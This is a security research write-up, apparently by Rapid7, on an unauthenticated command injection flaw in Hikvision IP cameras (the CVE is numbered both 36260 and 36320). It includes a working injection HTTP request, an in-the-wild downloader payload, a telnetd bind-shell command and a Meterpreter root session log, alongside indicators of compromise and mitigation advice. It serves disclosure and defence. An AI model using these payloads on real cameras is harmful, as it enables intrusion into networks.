On September 18, 2021, Hikvision issued an advisory for CVE-2021-36260, an unauthenticated remote command injection vulnerability in a number of IP cameras. Since the initial advisory, Hikvision has updated the affected versions a number of times, including as recently as December 31, 2021. The vulnerability is the result of using attacker-controlled data in a shell command, allowing a remote, unauthenticated attacker to execute commands on the target with root privileges. CVE-2021-36320 carries a CVSSv3 base score of 9.8.

Rapid7 believes this is a notable vulnerability for a few reasons:

• Shodan shows approximately 3 million internet facing Hikvision devices. While only a subset of models are affected, there remains a substantial number of vulnerable systems.
  

• The researcher that discovered the issue, Watcful_IP, did not publish a proof of concept when the issue was disclosed. However, a proof of concept exploit was later published on October 19, 2021 by IoT hacker bashis. Furthermore, a Metasploit module has been developed that can establish a Metepreter session on the device. That indicates the cameras can be weaponized to facilitate further, more sophisticated, offensive operations.

• Finally, and perhaps most significantly, the CVE is already being used in the wild. In December, it was reportedly being used by Moobot. More recently, it was spotted by @bad_packets:

These Hikvision systems don’t auto-update and they’re often overlooked in the vulnerability management lifecycle, leaving many using years old firmware. The major concern, from our point of view, isn’t the devices being enrolled in a DDOS botnet like Moobot. That’s more an annoyance than anything. More concerning, is these devices can be used as network pivots, bridging the internal network the camera is connected to with the internet. The resulting bridge opens the victim network to far more serious consequences as an attacker is able to pivot inward. And, because the camera has no mechanism to discover and remove internal malware, it’s an ideal place to hide and stage an attack from.

Rapid7 Analysis

Hikvision cameras have not had many published vulnerabilities. Part of the reason for this is that Hikvision firmware is typically encrypted, and therefore a little more challenging to analyze. The following entropy graph was generated by binwalk when analyzing a Hikvision firmware. The graph shows high entropy, or essentially random data, an indication of encrypted firmware.

However, by exploiting CVE-2021-36320, we can get a look under the hood and see exactly what is being exploited. By examining the network traffic of the exploit developed by bashis, we can see it takes the following form:

PUT /SDK/webLanguage HTTP/1.1
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Host: 10.0.0.8:80
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: en-US,en;q=0.9,sv;q=0.8
Content-Length: 82

<?xml version="1.0" encoding="UTF-8"?><language>$(sleep 20)</language>

The command injection string can be found in the XML body ($(sleep 20)). Using ps on an exploited camera, we can see that the attacker provided command is executed when the camera attempts to execute tar:

 4068 root      1336 S    /bin/sh -c tar zxf /dav/$(sleep 20).tar.gz -C /home/

The executable on the camera that handles the HTTP request and generates the tar command is named davinci. It’s fairly trivial to track down the exact location of exploitation:

Above you can see the attacker-provided data is passed into snprintf with the format string /dav/%s.tar.gz. The result will be added into a tar string, and passed to the system function. The interesting thing here is that the first snprintf call is limited to 0x1f (31) bytes. Meaning, the entirety of the attacker’s payload must fit into those 31 bytes, 5 of which are already taken (/dav/).

That’s particularly interesting because there are reports of payloads in the wild using larger payloads. The following payload was reported by Guy Bruneau and quite obviously wouldn’t fit into the snprintf above.

<?xml version=\\"1.0\\" encoding=\\"UTF-8\\"?>
<language>
$(busybox echo -en "\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa4\\x03\\x00\\x00\\x1e\\x00\\x00\\x00\\x00\\x00\\x00\\x00" >> downloader)
</language>'

That likely means that various Hikvision firmware have slight variations of the vulnerable code. Some firmware allow for more than 0x1f bytes of payload. It just so happens our test target uses the most restrictive version of the vulnerability. It also could mean that exploits being thrown in the wild are only exploiting a subset of vulnerable cameras.

The device is hardened more than your typical IoT system. It’s devoid of many of the standard tools an exploit developer would use to establish an initial foothold. No wget, curl, openssl, nc, etc. on the device. It does have telnetd so we can throw together a very small payload for a bind shell:

telnetd -l sh -p1270

And, of course, standard functionality like echo and printf is available so attackers can write arbitrary files to disk, and then execute them. That’s exactly how we drop a meterpreter stager on the system.

[*] Sending stage (908480 bytes) to 10.0.0.8
[*] Meterpreter session 3 opened (10.0.0.7:4444 -> 10.0.0.8:46418 ) at 2022-02-19 18:37:18 -0800
[*] Command Stager progress -  99.76% done (6541/6557 bytes)
[*] Command Stager progress - 100.00% done (6557/6557 bytes)

meterpreter > getuid
Server username: root
meterpreter > ls -l
Listing: /home
==============

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
100777/rwxrwxrwx  4096     fil   2020-04-03 00:40:18 -0700  ASC16
100777/rwxrwxrwx  151806   fil   2020-04-03 00:40:18 -0700  HZK16
040755/rwxr-xr-x  0        dir   1970-01-04 11:56:16 -0800  applib
100777/rwxrwxrwx  14       fil   2020-04-03 00:40:18 -0700  dnsd.conf
040755/rwxr-xr-x  49       dir   2020-04-02 23:44:14 -0700  e6_isp_config
040755/rwxr-xr-x  0        dir   1970-01-04 11:56:40 -0800  firmware
100755/rwxr-xr-x  1168504  fil   1970-01-04 11:56:17 -0800  hikdsp
100777/rwxrwxrwx  5877     fil   1970-01-04 11:56:13 -0800  initrun.sh
100755/rwxr-xr-x  28292    fil   1970-01-04 11:56:15 -0800  libhiksyslog.so
100755/rwxr-xr-x  47952    fil   1970-01-04 11:56:15 -0800  libsyslog.so
100755/rwxr-xr-x  8234     fil   1970-01-04 11:56:16 -0800  mmap_reg
040755/rwxr-xr-x  0        dir   1970-01-04 11:56:40 -0800  modules
100000/---------  0        fil   1970-01-04 11:56:27 -0800  pidfile
040755/rwxr-xr-x  0        dir   1970-01-04 11:56:27 -0800  process
100755/rwxr-xr-x  49015    fil   1970-01-04 11:56:16 -0800  ptzCfg.bin
040755/rwxr-xr-x  498      dir   2020-02-17 06:32:44 -0800  sound
040755/rwxr-xr-x  187      dir   2020-04-07 19:30:59 -0700  webLib

meterpreter > 

Indicators of Compromise

IoT devices rarely have great mechanisms for examining the device’s internal state and the Hikvision cameras appear to be no different. However, they do have a feature that will export some system logs and output of some useful commands such as ps. The feature can be found under Configuration –> System –> Maintenance.

Using the “Diagnose Information” button, you can export the system data. The most useful of which is the ps output. Here is the output for our test system that’s executing meterpreter and a bindshell (see the end of the data for the “bad” programs. The full listing is provided for completeness and to help others to determine if they have been compromised):

ps
  PID USER       VSZ STAT COMMAND
    1 root      1340 S    init
    2 root         0 SW   [kthreadd]
    3 root         0 SW   [ksoftirqd/0]
    4 root         0 SW   [kworker/0:0]
    6 root         0 RW   [rcu_kthread]
    7 root         0 SW<  [khelper]
    8 root         0 SW   [kworker/u:1]
  201 root         0 SW   [sync_supers]
  203 root         0 SW   [bdi-default]
  205 root         0 SW<  [kblockd]
  220 root         0 SW   [khubd]
  231 root         0 SW<  [cfg80211]
  232 root         0 SW   [kworker/0:1]
  317 root         0 SW<  [rpciod]
  323 root         0 RW   [kswapd0]
  371 root         0 SW   [fsnotify_mark]
  376 root         0 SW<  [nfsiod]
  385 root         0 SW<  [crypto]
  453 root         0 SW<  [fh_spi.0]
  458 root         0 SW   [mtdblock0]
  463 root         0 SW   [mtdblock1]
  468 root         0 SW   [mtdblock2]
  473 root         0 SW   [mtdblock3]
  478 root         0 SW   [mtdblock4]
  483 root         0 SW   [mtdblock5]
  488 root         0 SW   [mtdblock6]
  491 root         0 SW<  [fh_spi.1]
  514 root         0 SW<  [FH Notification]
  515 root         0 SW<  [fh_otg]
  557 root         0 SW<  [fh_aes.0]
  586 root       932 S <  /usr/bin/udevd -d
  692 root         0 SWN  [jffs2_gcd_mtd6]
  866 root         0 SW   [irq/32-VMM-BUS]
  881 root         0 SW   [vbus_chn1_proc]
  882 root         0 SW   [vbus_chn2_proc]
  918 root         0 SW   [vbus_chn3_proc]
  940 root         0 SW<  [wps_wq]
  949 root      1000 S    /bin/execSystemCmd
  951 root      5172 S    /home/process/daemon_fsp_app
  954 root     21092 S    /home/process/net_process
  959 root      1124 S    -/bin/psh
  960 root      1340 S    init
  964 root      274m S <  /home/process/davinci
  979 root     88144 S    ./hikdsp
  980 root         0 SW   [vbus_chn4_proc]
  981 root         0 SW   [jpeg_kick]
  982 root         0 SW   [vpu_task]
  983 root         0 SW   [pae_proc]
  984 root         0 SW   [enc_manage]
 1001 root         0 RW   [gme_proc]
 1435 root         0 SW   [RTW_CMD_THREAD]
 1465 root      9184 S    hostapd
 4032 root         0 RW   [kworker/u:2]
 4037 root      1340 S    telnetd -l sh -p1270
 5686 root      1088 S    /tmp/a

Above you can see Meterpreter executing out of /tmp/ (/tmp/a) and a bindshell list on port 1270 (telnetd -l sh -p1270). Unfortunately, it’s difficult for a layperson to identify potentially malicious executables amongst unfamiliar processes, but anything running out of /tmp/ should be considered suspicious.

The best time to catch exploitation is when the exploit is thrown over the network. We haven’t developed any specific network signatures but we attached two pcaps to the Metasploit pull request, to hopefully aid in that development.

Guidance

• These types of IoT systems should never be exposed directly to the internet. If you need the camera to be accessible via the internet, then consider putting it behind a VPN.
  
• Consider regularly rebooting the camera. While it sounds a little silly, establishing persistence on an IoT system like these cameras is often very difficult, and not something most attackers even attempt. Rebooting the system will, hopefully, remove the malware (although malicious configuration changes will likely persist). This was a common recommendation to remediate VPNFilter.
  
• Regularly apply firmware updates to the cameras. At least apply the latest firmware that mitigates CVE-2021-36320.